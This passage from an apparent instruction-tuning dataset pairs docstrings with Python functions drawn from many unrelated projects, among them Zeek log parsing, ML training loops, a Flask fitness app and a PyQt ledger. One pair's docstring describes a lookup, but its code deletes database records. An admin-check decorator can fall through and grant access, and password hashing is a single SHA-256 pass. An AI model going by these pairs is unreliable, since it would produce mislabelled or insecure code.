raise JSONWriterError(str(error), lineno=lineno) from error
[INST] Serialise records to a log line.. [/INST] def dump_file(self, data: 'Optional[Iterable[Model]]' = None) -> str:
if data is None:
return ''
return ''.join(self.dump_line(line, lineno=index) for index, line in enumerate(data, start=1))
[INST] Serialise one-line record to a log line.. [/INST] def dump_line(self, data: 'Model', lineno: 'Optional[int]' = 0) -> str:
try:
return '%s\n' % json.dumps(data.tojson(), cls=self.encoder)
except TypeError as error:
raise JSONWriterError(str(error), lineno=lineno) from error
[INST] Write log line as one-line record.. [/INST] def write_line(self, file: 'TextFile', data: 'Model',
lineno: 'Optional[int]' = 0) -> int:
try:
return file.write('%s\n' % self.str_separator.join(data.toascii().values()))
except TypeError as error:
raise ASCIIWriterError(str(error), lineno=lineno) from error
[INST] Write header fields of ASCII log file.. [/INST] def write_head(self, file: 'TextFile', data: 'Optional[Model]' = None) -> int:
separator = self.str_separator
if data is None:
empty_field = self.str_empty_field
unset_field = self.str_unset_field
set_separator = self.str_set_separator
fields = ''
types = ''
else:
empty_field = data.empty_field.decode('ascii')
unset_field = data.unset_field.decode('ascii')
set_separator = data.set_separator.decode('ascii')
line_fields = data.fields
fields = separator.join(line_fields.keys())
types = separator.join(field.zeek_type for field in line_fields.values())
file.write('#separator %s\n' % unicode_escape(self.separator))
file.write('#set_separator%s%s\n' % (separator, set_separator))
file.write('#empty_field%s%s\n' % (separator, empty_field))
file.write('#unset_field%s%s\n' % (separator, unset_field))
file.write('#path%s%s\n' % (separator, os.path.splitext(file.name)[0]))
file.write('#open%s%s\n' % (separator, time.strftime(r'%Y-%m-%d-%H-%M-%S')))
file.write('#fields%s%s\n' % (separator, fields))
return file.write('#types%s%s\n' % (separator, types))
[INST] Write trailing fields of ASCII log file.. [/INST] def write_tail(self, file: 'TextFile') -> int:
return file.write('#close%s%s\n' % (self.str_separator, time.strftime(r'%Y-%m-%d-%H-%M-%S')))
[INST] Serialise records to a log line.. [/INST] def dump_file(self, data: 'Optional[Iterable[Model]]' = None, name: 'Optional[str]' = None) -> str:
if data:
data_iter = iter(data)
line = next(data_iter)
buffer = self.dump_head(line, name=name)
buffer += self.dump_line(line, lineno=1)
buffer += ''.join(self.dump_line(line, lineno=index)
for index, line in enumerate(data_iter, start=2))
else:
buffer = self.dump_head(name=name)
buffer += self.dump_tail()
return buffer
[INST] Serialise one-line record to a log line.. [/INST] def dump_line(self, data: Model, lineno: 'Optional[int]' = 0) -> str:
try:
return '%s\n' % self.str_separator.join(data.toascii().values())
except TypeError as error:
raise ASCIIWriterError(str(error), lineno=lineno) from error
[INST] Serialise header fields of ASCII log file.. [/INST] def dump_head(self, data: 'Optional[Model]' = None, name: 'Optional[str]' = None) -> str:
if name is None:
name = ''
separator = self.str_separator
if data is None:
empty_field = self.str_empty_field
unset_field = self.str_unset_field
set_separator = self.str_set_separator
fields = ''
types = ''
else:
empty_field = data.empty_field.decode('ascii')
unset_field = data.unset_field.decode('ascii')
set_separator = data.set_separator.decode('ascii')
line_fields = data.fields
fields = separator.join(line_fields.keys())
types = separator.join(field.zeek_type for field in line_fields.values())
buffer = '#separator %s\n' % unicode_escape(self.separator)
buffer += '#set_separator%s%s\n' % (separator, set_separator)
buffer += '#empty_field%s%s\n' % (separator, empty_field)
buffer += '#unset_field%s%s\n' % (separator, unset_field)
buffer += '#path%s%s\n' % (separator, os.path.splitext(name)[0])
buffer += '#open%s%s\n' % (separator, time.strftime(r'%Y-%m-%d-%H-%M-%S'))
buffer += '#fields%s%s\n' % (separator, fields)
buffer += '#types%s%s\n' % (separator, types)
return buffer
[INST] Serialise trailing fields of ASCII log file.. [/INST] def dump_tail(self) -> str:
return '#close%s%s\n' % (self.str_separator, time.strftime(r'%Y-%m-%d-%H-%M-%S'))
[INST] Write Bro/Zeek log file.. [/INST] def write(data: 'Iterable[Model]', filename: 'PathLike[str]', format: str, *args: 'Any', **kwargs: 'Any') -> None:
if format == 'ascii':
return write_ascii(data, filename, *args, **kwargs)
if format == 'json':
return write_json(data, filename, *args, **kwargs)
raise WriterFormatError('unsupported format: %s' % format)
[INST] Parse log line as one-line record.. [/INST] def parse_line(self, line: bytes, lineno: 'Optional[int]' = 0,
model: 'Optional[Type[Model]]' = None) -> 'Model':
[INST] Parse log line as one-line record.. [/INST] def loads(self, line: bytes, lineno: 'Optional[int]' = 0) -> 'Model':
return self.parse_line(line, lineno)
[INST] Parse log line as one-line record.. [/INST] def parse_line(self, line: bytes, lineno: 'Optional[int]' = 0,
model: 'Optional[Type[Model]]' = None) -> 'Model':
try:
data = json.loads(line)
except json.JSONDecodeError as error:
raise JSONParserError(error.msg, lineno) from error
model_cls = model or self.model
if model_cls is None:
model_cls = new_model('', **{field: AnyType() for field in data.keys()})
return model_cls(**data)
[INST] Parse log line as one-line record.. [/INST] def parse_line(self, line: bytes, lineno: 'Optional[int]' = 0,
model: 'Optional[Type[Model]]' = None, separator: 'Optional[bytes]' = b'\x09',
parser: 'Optional[List[Tuple[str, BaseType]]]' = None) -> 'Model':
if parser is None:
raise ASCIIPaserError("parse_line() missing 1 required positional argument: 'parser'")
data = collections.OrderedDict()
for i, s in enumerate(line.strip().split(separator)):
field_name, field_type = parser[i]
try:
data[field_name] = field_type(s)
except ZeekValueError as error:
raise ASCIIPaserError(str(error), lineno, field_name) from error
if model is None:
model = new_model('', **{field: AnyType() for field in data.keys()})
return model(**data)
[INST] Parse Bro/Zeek log file.. [/INST] def parse(filename: 'PathLike[str]', *args: 'Any', **kwargs: 'Any') -> 'Union[JSONInfo, ASCIIInfo]':
with open(filename, 'rb') as file:
char = file.read(1)
if char == b'#':
return parse_ascii(filename, *args, **kwargs)
if char == b'{':
return parse_json(filename, *args, **kwargs)
raise ParserError('unknown format')
[INST] Not supported for a variadic data type.. [/INST] def parse(self, data: 'Any') -> 'NoReturn':
raise ZeekNotImplemented
[INST] Not supported for a variadic data type.. [/INST] def tojson(self, data: 'Any') -> 'NoReturn':
raise ZeekNotImplemented
[INST] Not supported for a variadic data type.. [/INST] def toascii(self, data: 'Any') -> 'NoReturn':
raise ZeekNotImplemented
[INST] Serialise data model as JSON log format.. [/INST] def tojson(self) -> 'OrderedDict[str, Any]':
fields = collections.OrderedDict()
for field, type_cls in self.__fields__.items():
value = getattr(self, field)
fields[field] = type_cls.tojson(value)
return fields
[INST] Serialise data model as ASCII log format.. [/INST] def toascii(self) -> 'OrderedDict[str, str]':
fields = collections.OrderedDict()
for field, type_cls in self.__fields__.items():
value = getattr(self, field)
fields[field] = type_cls.toascii(value)
return fields
[INST] Convert data model as a dictionary mapping field names to field values.. [/INST] def asdict(self, dict_factory: 'Optional[Type[dict]]' = None) -> 'Dict[str, Any]':
if dict_factory is None:
dict_factory = dict
fields = dict_factory()
for field in self.__fields__:
value = getattr(self, field)
fields[field] = value
return fields
[INST] Convert data model as a tuple of field values.. [/INST] def astuple(self, tuple_factory: 'Optional[Type[tuple]]' = None) -> 'Tuple[Any, ...]':
field_names = []
field_value = []
for field in self.__fields__:
value = getattr(self, field)
field_names.append(field)
field_value.append(value)
if tuple_factory is None:
model_name = type(self).__name__
named_tuple = collections.namedtuple(model_name, field_names)
return named_tuple(*field_value)
return tuple_factory(field_value)
[INST] Create a data model dynamically with the appropriate fields.. [/INST] def new_model(name: str, **fields: 'Any') -> 'Type[Model]':
def gen_body(ns: 'Dict[str, Any]') -> None:
for name, type_cls in fields.items():
ns[name] = type_cls
return types.new_class(name, (Model,), exec_body=gen_body)
[INST] Return path to local copy of PDFBox jar file.. [/INST] def _get_pdfbox_path(self):
if 'PDFBOX' in os.environ:
pdfbox_path = pathlib.Path(os.environ['PDFBOX'])
if not pdfbox_path.exists():
raise RuntimeError('pdfbox not found')
return pdfbox_path
a = appdirs.AppDirs('python-pdfbox')
cache_dir = pathlib.Path(a.user_cache_dir)
file_list = list(cache_dir.glob('pdfbox-app-*.jar'))
if file_list:
def f(s):
v = re.search('pdfbox-app-([\w\.\-]+)\.jar', s.name).group(1)
return pkg_resources.parse_version(v)
return sorted(file_list, key=f)[-1]
else:
pdfbox_url = self._get_latest_pdfbox_url()
sha512_url = pdfbox_url + '.sha512'
r = urllib.request.urlopen(pdfbox_url)
try:
data = r.read()
except:
raise RuntimeError('error retrieving %s' % pdfbox_url)
else:
cache_dir.mkdir(exist_ok=True, parents=True)
pdfbox_path = cache_dir.joinpath(pathlib.Path(pdfbox_url).name)
with open(pdfbox_path, 'wb') as f:
f.write(data)
r = urllib.request.urlopen(sha512_url)
encoding = r.headers.get_content_charset('utf-8')
try:
sha512 = r.read().decode(encoding).strip()
except:
raise RuntimeError('error retrieving sha512sum')
else:
if not self._verify_sha512(data, sha512):
raise RuntimeError('failed to verify sha512sum')
return pdfbox_path
[INST] Run validation with validation data split, computes mean average
precision and the loss of the prediction results.. [/INST] def run_valid(self, epoch=0):
model = self.model
dataset = self.dataset
device = self.device
cfg = self.cfg
model.eval()
timestamp = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
log.info("DEVICE : {}".format(device))
log_file_path = join(cfg.logs_dir, 'log_valid_' + timestamp + '.txt')
log.info("Logging in file : {}".format(log_file_path))
log.addHandler(logging.FileHandler(log_file_path))
batcher = ConcatBatcher(device, model.cfg.name)
valid_dataset = dataset.get_split('validation')
valid_split = TorchDataloader(dataset=valid_dataset,
preprocess=model.preprocess,
transform=model.transform,
shuffle=True,
steps_per_epoch=dataset.cfg.get(
'steps_per_epoch_valid', None))
valid_loader = DataLoader(
valid_split,
batch_size=cfg.val_batch_size,
num_workers=cfg.get('num_workers', 4),
pin_memory=cfg.get('pin_memory', False),
collate_fn=batcher.collate_fn,
worker_init_fn=lambda x: np.random.seed(x + np.uint32(
torch.utils.data.get_worker_info().seed)))
log.info("Started validation")
slots_save_dir = cfg.slots_save_dir
Path(f"{slots_save_dir}/").mkdir(parents=True, exist_ok=True)
self.valid_losses = {}
with torch.no_grad():
for valid_idx, data in enumerate(
tqdm(valid_loader, desc='validation')):
data.to(device)
results = model(data)
for batch_idx, slots in enumerate(results[0]):
slots = slots.cpu().numpy()
num_slots = slots.shape[0]
for i in range(num_slots):
plt.subplot(num_slots, 1, i + 1)
plt.imshow(slots[i], cmap='binary')
plt.colorbar()
plt.title(f"Slot {i}")
plt.savefig(
f"{slots_save_dir}/epoch_{epoch}_slots_{valid_idx}_{batch_idx}.png")
plt.clf()
loss = model.loss(results, data)
for l, v in loss.items():
if not l in self.valid_losses:
self.valid_losses[l] = []
self.valid_losses[l].append(v.cpu().numpy())
[INST] Run training with train data split.. [/INST] def run_train(self):
model = self.model
device = self.device
dataset = self.dataset
cfg = self.cfg
log.info("DEVICE : {}".format(device))
timestamp = datetime.now().strftime('%Y-%m-%d_%H:%M:%S')
log_file_path = join(cfg.logs_dir, 'log_train_' + timestamp + '.txt')
log.info("Logging in file : {}".format(log_file_path))
log.addHandler(logging.FileHandler(log_file_path))
batcher = ConcatBatcher(device, model.cfg.name)
train_dataset = dataset.get_split('training')
train_split = TorchDataloader(dataset=train_dataset,
preprocess=model.preprocess,
transform=model.transform,
steps_per_epoch=dataset.cfg.get(
'steps_per_epoch_train', None))
train_loader = DataLoader(
train_split,
batch_size=cfg.batch_size,
num_workers=cfg.get('num_workers', 4),
pin_memory=cfg.get('pin_memory', False),
collate_fn=batcher.collate_fn,
worker_init_fn=lambda x: np.random.seed(x + np.uint32(
torch.utils.data.get_worker_info().seed))
)
self.optimizer, self.scheduler = model.get_optimizer(cfg.optimizer)
is_resume = model.cfg.get('is_resume', True)
start_ep = self.load_ckpt(model.cfg.ckpt_path, is_resume=is_resume)
dataset_name = dataset.name if dataset is not None else ''
tensorboard_dir = join(
self.cfg.train_sum_dir,
model.__class__.__name__ + '_' + dataset_name + '_torch')
runid = get_runid(tensorboard_dir)
self.tensorboard_dir = join(self.cfg.train_sum_dir,
runid + '_' + Path(tensorboard_dir).name)
writer = SummaryWriter(self.tensorboard_dir)
self.save_config(writer)
log.info("Writing summary in {}.".format(self.tensorboard_dir))
log.info("Started training")
for epoch in range(start_ep, cfg.max_epoch + 1):
log.info(f'=== EPOCH {epoch:d}/{cfg.max_epoch:d} ===')
model.train()
self.losses = {}
process_bar = tqdm(train_loader, desc='training')
for data in process_bar:
data.to(device)
results = model(data)
loss = model.loss(results, data)
loss_sum = sum(loss.values())
self.optimizer.zero_grad()
loss_sum.backward()
if model.cfg.get('grad_clip_norm', -1) > 0:
torch.nn.utils.clip_grad_value_(model.parameters(),
model.cfg.grad_clip_norm)
self.optimizer.step()
desc = "training - "
for l, v in loss.items():
if not l in self.losses:
self.losses[l] = []
self.losses[l].append(v.cpu().detach().numpy())
desc += " %s: %.03f" % (l, v.cpu().detach().numpy())
desc += " > loss: %.03f" % loss_sum.cpu().detach().numpy()
process_bar.set_description(desc)
process_bar.refresh()
if self.scheduler is not None:
self.scheduler.step()
if (epoch % cfg.get("validation_freq", 1)) == 0:
self.run_valid(epoch)
self.save_logs(writer, epoch)
if epoch % cfg.save_ckpt_freq == 0:
self.save_ckpt(epoch)
[INST] Save experiment configuration with tensorboard summary.. [/INST] def save_config(self, writer):
writer.add_text("Description/Open3D-ML", self.cfg_tb['readme'], 0)
writer.add_text("Description/Command line", self.cfg_tb['cmd_line'], 0)
writer.add_text('Configuration/Dataset',
code2md(self.cfg_tb['dataset'], language='json'), 0)
writer.add_text('Configuration/Model',
code2md(self.cfg_tb['model'], language='json'), 0)
writer.add_text('Configuration/Pipeline',
code2md(self.cfg_tb['pipeline'], language='json'), 0)
[INST] Reads lidar data from the path provided.. [/INST] def read_pc(path):
assert Path(path).exists()
return joblib.load(path)
[INST] takes uuid for record of type key and returns None if not found else the doc if found.. [/INST] def remove_all_admins_not_matching_this(u, user_type=None, collection=None):
__doc__ = None
if (collection):
try:
docs = collection.find()
for doc in docs:
uu = doc.get(user_type) if (user_type) else None
if (str(uu) == u):
__doc__ = doc
else:
d = {'_id':doc.get('_id')}
print('(-) Removed: {}'.format(d))
collection.remove(d)
except:
pass
return __doc__
[INST] Checks if email is used in database already.. [/INST] def validate_email(self, field):
if Runner.query.filter_by(email=field.data).count() > 0:
raise validators.ValidationError("Email in Use")
else:
print("Validate your account by going to http://127.0.0.1:5000/validate/" + self.username.data)
[INST] Checks if both password entered matches the one stored in the database,
and if the username entered exists.. [/INST] def validate_password(self, field):
if Runner.query.filter_by(username=self.username.data).count() == 0:
raise validators.ValidationError("Incorrect Username or Password")
salt = Runner.query.filter_by(username=self.username.data).first().salt
hashed_password = Runner.query.filter_by(username=self.username.data).first().hashed_password
if password.check_password(field.data, salt, hashed_password) is not True:
raise validators.ValidationError("Incorrect Username or Password")
[INST] Checks if the data the user entered is mathematically correct, and if the speed of their running is
an acceptable speed.. [/INST] def validate_speed(self, field):
if self.speed.data * self.hours_trained.data != self.distance.data:
raise validators.ValidationError("Check your maths, your numbers are wrong!")
if self.speed.data > 12:
raise validators.ValidationError("Are you sure your ran that fast?")
[INST] Checks if the data the user entered is mathematically correct, and if the speed of their cycling is
an acceptable speed.. [/INST] def validate_speed(self, field):
if self.speed.data * self.hours_trained.data != self.distance.data:
raise validators.ValidationError("Check your maths, your numbers are wrong!")
if self.speed.data > 25:
raise validators.ValidationError("Are you sure you cycled that fast?")
[INST] Returns the hashed password and a randomly generated salt.. [/INST] def hash_password(password):
password = password.encode("utf-8")
salt = base64.b64encode(os.urandom(32))
hashed_password = hashlib.sha256(salt + password).hexdigest()
return hashed_password, salt
[INST] Hashes the password the user provides and checks it against the stored hash.. [/INST] def check_password(password, salt, hashed_password):
password = password.encode("utf-8")
return hashlib.sha256(salt + password).hexdigest() == hashed_password
[INST] Generates the percentage width of the progress bars on the Web App homepage.. [/INST] def homepage_progress(current_user):
def add_up_distance(training_type, username):
data = 0
x = Training.query.filter_by(training_type=training_type, username=username).all()
for i in x:
data += i.distance
return data
def add_calories(username):
data = 0
for i in Training.query.filter_by(username=username).all():
data += i.calories_burnt
return data
def top_distance(training_type):
data = 0
for user in Runner.query.order_by(Runner.username):
x = add_up_distance(training_type, user.username)
if x > data:
data = x
return data
def top_calories():
data = 0
for user in Runner.query.order_by(Runner.username):
x = add_calories(user.username)
if x > data:
data = x
return data
def calculate_percentage(top, user):
if user == 0:
return 10
percent = (((user - top) / top) * 90)
if percent < 0:
percent *= -1
if percent <= 10:
return 10
else:
return percent
percentages = {"calories": calculate_percentage(top_calories(), add_calories(current_user.username)),
"running": calculate_percentage(top_distance("running"), add_up_distance("running",
current_user.username)),
"cycling": calculate_percentage(top_distance("cycling"), add_up_distance("cycling",
current_user.username)),
"swimming": calculate_percentage(top_distance("swimming"), add_up_distance("swimming",
current_user.username))}
return percentages
[INST] Custom function that checks if the user is an Admin. Based off of the standard Flask-Login @login_required.. [/INST] def admin_required(func):
@wraps(func)
def decorated_view(*args, **kwargs):
if current_user.admin is True:
return func(*args, **kwargs)
elif current_user.admin is None or current_user.admin is False:
return Response("You are not permitted to access this page!", 401)
return func(*args, **kwargs)
return decorated_view
[INST] Parses a relative path to tensorflow event file to a reasonable neptune-compatible name. [/INST] def parse_path_to_experiment_name(path):
experiment_name = os.path.dirname(path)
if experiment_name:
return experiment_name
else:
return "untitled-tensorboard"
[INST] Parses a relative path to tensorflow event file to a hostname. [/INST] def parse_path_to_hostname(path):
file_name = os.path.basename(path)
if file_name.startswith(_EVENTS_FILE_PREFIX):
timestamp_and_hostname = file_name[len(_EVENTS_FILE_PREFIX):]
separator_index = timestamp_and_hostname.find('.')
if separator_index >= 0:
return timestamp_and_hostname[(separator_index + 1):]
else:
return None
else:
return None
[INST] Import TensorFlow event files to Neptune\n
PATH is a directory where Neptune will look to find TensorFlow event files that it can import.
Neptune will recursively walk the directory structure rooted at logdir, looking for .*tfevents.* files.. [/INST] def sync(project, path):
import warnings
warnings.simplefilter(action='ignore', category=FutureWarning)
from neptune_tensorboard.sync.sync import sync as run_sync
return run_sync(project=project, path=path)
[INST] Use the Django builtin static file resolver to return an absolute path
usable as CSS url() argument. Sass equivalent of the 'static' template
tag.. [/INST] def static(path):
return django_static(path)
[INST] Perform sass.compile, but with the appropriate include_paths for Django added. [/INST] def compile(**kwargs):
kwargs = kwargs.copy()
if PRECISION is not None:
kwargs['precision'] = PRECISION
kwargs['include_paths'] = (kwargs.get('include_paths') or []) + get_include_paths()
custom_functions = CUSTOM_FUNCTIONS.copy()
custom_functions.update(kwargs.get('custom_functions', {}))
kwargs['custom_functions'] = custom_functions
if SOURCEMAPS and kwargs.get('filename', None):
base_path = os.path.dirname(kwargs['filename'])
sourcemap_filename = os.path.join(base_path, 'sourcemap.map')
kwargs['source_map_filename'] = sourcemap_filename
libsass_output, sourcemap = sass.compile(**kwargs)
sourcemap = prefix_sourcemap(sourcemap, base_path)
output = embed_sourcemap(libsass_output, sourcemap)
else:
output = sass.compile(**kwargs)
return output
[INST] Wait for a key press on the console and return it.. [/INST] def wait_key(message = ''):
if message != '':
print (message)
result = None
if os.name == 'nt':
import msvcrt
result = msvcrt.getch()
else:
import termios
fd = sys.stdin.fileno()
oldterm = termios.tcgetattr(fd)
newattr = termios.tcgetattr(fd)
newattr[3] = newattr[3] & ~termios.ICANON & ~termios.ECHO
termios.tcsetattr(fd, termios.TCSANOW, newattr)
try:
result = sys.stdin.read(1)
except IOError:
pass
finally:
termios.tcsetattr(fd, termios.TCSAFLUSH, oldterm)
return result
[INST] image must be numpy array H X W X channels. [/INST] def write_png(filename, image):
import zlib, struct
buf = image.flatten().tobytes()
width = image.shape[1]
height = image.shape[0]
width_byte_4 = width * 4
raw_data = b''.join(b'\x00' + buf[span:span + width_byte_4]
for span in range((height - 1) * width_byte_4, -1, - width_byte_4))
def png_pack(png_tag, data):
chunk_head = png_tag + data
return (struct.pack("!I", len(data)) +
chunk_head +
struct.pack("!I", 0xFFFFFFFF & zlib.crc32(chunk_head)))
png_bytes = b''.join([
b'\x89PNG\r\n\x1a\n',
png_pack(b'IHDR', struct.pack("!2I5B", width, height, 8, 6, 0, 0, 0)),
png_pack(b'IDAT', zlib.compress(raw_data, 9)),
png_pack(b'IEND', b'')])
AirSimClientBase.write_file(filename, png_bytes)
[INST] Data map generator for simulator(AirSim) data. Reads the driving_log csv file and returns a list of 'center camera image name - label(s)' tuples
Inputs:
folders: list of folders to collect data from. [/INST] def generateDataMapAirSim(folders):
all_mappings = {}
for folder in folders:
print('Reading data from {0}...'.format(folder))
current_df = pd.read_csv(os.path.join(folder, 'airsim_rec.txt'), sep='\t')
for i in range(1, current_df.shape[0] - 1, 1):
previous_state = list(current_df.iloc[i-1][['Steering', 'Throttle', 'Brake', 'Speed (kmph)']])
current_label = list((current_df.iloc[i][['Steering']] + current_df.iloc[i-1][['Steering']] + current_df.iloc[i+1][['Steering']]) / 3.0)
image_filepath = os.path.join(os.path.join(folder, 'images'), current_df.iloc[i]['ImageName']).replace('\\', '/')
if (image_filepath in all_mappings):
print('Error: attempting to add image {0} twice.'.format(image_filepath))
all_mappings[image_filepath] = (current_label, previous_state)
mappings = [(key, all_mappings[key]) for key in all_mappings]
random.shuffle(mappings)
return mappings
[INST] Primary function for data pre-processing. Reads and saves all data as h5 files.
Inputs:
folders: a list of all data folders
output_directory: location for saving h5 files
train_eval_test_split: dataset split ratio. [/INST] def cook(folders, output_directory, train_eval_test_split):
output_files = [os.path.join(output_directory, f) for f in ['train.h5', 'eval.h5', 'test.h5']]
if (any([os.path.isfile(f) for f in output_files])):
print("Preprocessed data already exists at: {0}. Skipping preprocessing.".format(output_directory))
else:
all_data_mappings = generateDataMapAirSim(folders)
split_mappings = splitTrainValidationAndTestData(all_data_mappings, split_ratio=train_eval_test_split)
for i in range(0, len(split_mappings), 1):
print('Processing {0}...'.format(output_files[i]))
saveH5pyData(split_mappings[i], output_files[i])
print('Finished saving {0}.'.format(output_files[i]))
[INST] creates a mask with class id values as pixel values
from the color ground truth mask image.. [/INST] def convert(fname: str) -> None:
img = cv2.imread(fname)
img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)
img_colors = np.unique(img.reshape(-1, img.shape[2]), axis=0)
label_id_fname = fname.replace("_gtFine_color", "_gtFine_labelIds")
color_mask = np.zeros(img.shape, dtype=np.uint8)
color_mask[np.where((img == [234, 30, 39]).all(axis=2))] = np.array([0])
color_mask[np.where((img == [101, 190, 110]).all(axis=2))] = np.array([1])
color_mask[np.where((img == [24, 92, 163]).all(axis=2))] = np.array([2])
color_mask[np.where((img == [224, 212, 28]).all(axis=2))] = np.array([3])
color_mask = color_mask[:, :, 0]
cv2.imwrite(label_id_fname, color_mask)
[INST] Take in a player input and assign their marker as 'X'
or 'O'. Think about using while loops to continually
ask until you get a correct answer.. [/INST] def player_input():
player1 = input("\nPlayer 1 - Please pick a marker 'X' or 'O': ").upper()
val = validate(player1)
if val[0]:
player2 = val[1]
else:
return False
out = {'p1': [player1], 'p2': [player2]}
global chance
first = choose_first()
if first == 0:
print('Player 1 goes first', end='')
out['p1'].append(0)
out['p2'].append(1)
chance = player1
else:
print('Player 2 goes first', end='')
out['p1'].append(1)
out['p2'].append(0)
chance = player2
return out
[INST] Uses the random module to randomly decide which player
goes first. Lookup random.randint() Return a string of
which player went first.. [/INST] def choose_first():
return random.randint(0, 1)
[INST] Returns a boolean indicating whether a space on the board
is freely available.. [/INST] def space_check(board, position):
return board[position] == ''
[INST] Checks if the board is full and returns a boolean value.
True if full, False otherwise.. [/INST] def full_board_check(board):
return not '' in board
[INST] Takes in a board and a mark (X or O) and then checks to
see if that mark has won.. [/INST] def win_check(board, mark):
possibilities = [
board[0:3],
board[3:6],
board[6:9],
board[0:7:3],
board[1:8:3],
board[2:9:3],
board[0:9:4],
board[2:8:2]]
return [mark] * 3 in possibilities
[INST] Asks the player if they want to play again and returns a
boolean True if they do want to play again.. [/INST] def replay():
while True:
confirm = input('Do you want to replay ([Y]es/[N]o)? ')
if confirm[0].lower() == 'y':
return True
elif confirm[0].lower() == 'n':
return False
else:
print('Input not recognized, ', end='')
continue
[INST] Information about the function.
INPUT: No input
OUTPUT: Hello. [/INST] def name_function():
print('Hello')
[INST] Saves the data in the model to a the current file. [/INST] def save_data(self):
with open(self.filename,'w',encoding='utf-8') as fh:
writer = csv.writer(fh)
writer.writerow(self._headers)
writer.writerows(self._data)
[INST] opens a window to add transactions. [/INST] def add_transaction(self):
self.formwindow = FormWindow()
self.formwindow.submitted.connect(self.foo)
self.formwindow.show()
[INST] opens the csv file and connect the model with view
edit needed. [/INST] def open_csv(self):
if True:
table = TableWindow()
filename = 'test.csv'
self.model = CsvTableModel(filename)
self.tableview.setModel(self.model)
self.row_above_btn.setEnabled(True)
self.row_below_btn.setEnabled(True)
self.row_remove_btn.setEnabled(True)
self.save_btn.setEnabled(True)
[INST] Insert a ROW above a selected ROW. [/INST] def row_above(self):
selected = self.tableview.selectedIndexes()
row = selected[0].row() if selected else 0
self.model.insertRows(row,1,None)
[INST] Insert a ROW below a selected ROW. [/INST] def row_below(self,somedata):
selected = self.tableview.selectedIndexes()
row = selected[-1].row() if selected else self.model.rowCount(None)
self.model.insertRows(row+1,1,None,somedata)
[INST] calling the save_data function in the CsvTableModel Class. [/INST] def save_file(self):
if self.model:
self.model.save_data()
[INST] Method will Emit a signal "submitted" to the mainwindow.
This data is used for the "TableView" model. [/INST] def onsubmit(self):
date = (self.date_widget.date().toString('yyyy-MM-dd'))
self.submitted.emit(self.transaction_type.currentText(),
date,
self.seller_name.text(),
self.product.currentText(),
self.amount.text(),
self.ppkg.text(),
self.total_price.text()
)
self.close()
[INST] Adds the "item" to the end of the list. [/INST] def add_data(self,item_name):
self._data.append(item_name)
[INST] Removes the "item" from the list. [/INST] def remove_data(self,item_name):
self._data.remove(item_name)
[INST] Saves the item names in the model to the file. [/INST] def save_data(self):
with open(self.filename,'w',encoding='utf-8') as fh:
writer = csv.writer(fh)
writer.writerow(self._headers)
writer.writerow(self._data)
[INST] Updates the data in the graph when the filter is applied.. [/INST] def update_data(self):
self.series.clear()
self.pieseries.clear()
todate = (self.to_date.date().toString('yyyy-MM-dd'))
fromdate = (self.from_date.date().toString('yyyy-MM-dd'))
self.df = pd.read_csv('test.csv')
self.days = pd.date_range(start= todate,end=fromdate)
x = [i for i in self.df['Date'] if i in self.days]
self.temp_list = sorted(list(set(x)))
income = [sum(self.df.loc[(self.df['Date'] == i) & (self.df['Transaction Type'] == 'Sell'),'Total Price']) for i in self.temp_list]
expense = [sum(self.df.loc[(self.df['Date'] == i) & (self.df['Transaction Type'] == 'Buy' ),'Total Price']) for i in self.temp_list]
piecount = len(self.c._data)
item_list = self.c._data
for i in range(piecount):
item_name = item_list[i]
item_sold = [sum(self.df.loc[(self.df['Date'] == i ) & (self.df['Transaction Type'] == 'Buy') & (self.df[' Product ']== item_name),
' Amount (kg) ']) for i in self.temp_list]
slice_ = qtch.QPieSlice(item_list[i],sum(item_sold))
self.pieseries.append(slice_)
categories = self.temp_list
Income = qtch.QBarSet("Income")
Expense = qtch.QBarSet("Expense")
Income.append(income)
Expense.append(expense)
self.series.append(Income)
self.series.append(Expense)
self.axis.append(categories)
[INST] User can enter items with the help of a dialog box
item_name stores the value entered in the dialogbox and returns ("enter item",bool state). [/INST] def add_item(self):
item_name = qtw.QInputDialog.getText(self,"Add Item",
"Enter Item",
qtw.QLineEdit.Normal)
if item_name[0] == "":
qtw.QMessageBox.critical(self,"Error","Item cannot be an empty word")
elif item_name[0] in self.c._data:
qtw.QMessageBox.critical(self,"Error","Item is already added")
else:
self.c.add_data(item_name[0])
self.c.save_data()
[INST] Read all sas '.csv' files and return results in a dictionary
Returns
Results from sas .csv files. [/INST] def _get_sas_csv_data(self) -> dict:
csv_files = glob.glob("*.csv")
csv_data = {}
for file in csv_files:
if os.path.getsize(file) > 0:
csv_file_df = pd.read_csv(file)
for column_name in csv_file_df.columns:
csv_data[column_name] = np.array(csv_file_df[column_name])
return csv_data
[INST] Generate the SAS input based on the template
Parameters
params
Parameters used when rendering template. [/INST] def prerun(self, params: Parameters):
params_copy = params.convert_units()
print("Pre-run for SAS Plugin")
self._run_time = time.time_ns()
super().prerun(params_copy, filename=self.sas_inp_name)
[INST] Read SAS results and create results object
Parameters
params
Parameters used to create SAS model
Returnss
SAS results object. [/INST] def postrun(self, params: Parameters) -> ResultsSAS:
print("Post-run for SAS Plugin")
if Path("CHANNEL.dat").is_file():
with open("CHANNEL.dat", "r") as file_in, open("CHANNEL.csv", "w") as file_out:
subprocess.run(str(self.conv_channel), stdin=file_in, stdout=file_out)
if Path("PRIMAR4.dat").is_file():
with open("PRIMAR4.dat", "r") as file_in, open("PRIMAR4.csv", "w") as file_out:
subprocess.run(str(self.conv_primar4), stdin=file_in, stdout=file_out)
time = datetime.fromtimestamp(self._run_time * 1e-9)
inputs = [p.name for p in self.extra_inputs]
inputs.append('SAS.inp')
outputs = [p for p in Path.cwd().iterdir() if p.name not in inputs]
return ResultsSAS(params, time, inputs, outputs)
[INST] Save parameters to a pickle file
Parameters
filename_or_obj
Path to open file or file object write to. [/INST] def save(self, filename_or_obj: Union[str, BinaryIO]):
if isinstance(filename_or_obj, str):
with open(filename_or_obj, 'wb') as file_obj:
self._save_mapping(file_obj)
else:
self._save_mapping(filename_or_obj)
[INST] Load parameters from a pickle file
Parameters
filename_or_obj
Path to pickle file or file object to read from. [/INST] def load(self, filename_or_obj: Union[str, BinaryIO]):
if isinstance(filename_or_obj, str):
with open(filename_or_obj, 'rb') as fh:
self._load_mapping(fh)
else:
self._load_mapping(filename_or_obj)
[INST] Return parameters from a pickle file
Parameters
filename_or_obj
Path to pickle file or file object to read from. [/INST] def from_pickle(cls, filename_or_obj: Union[str, BinaryIO]) -> Parameters:
params = cls()
params.load(filename_or_obj)
return params
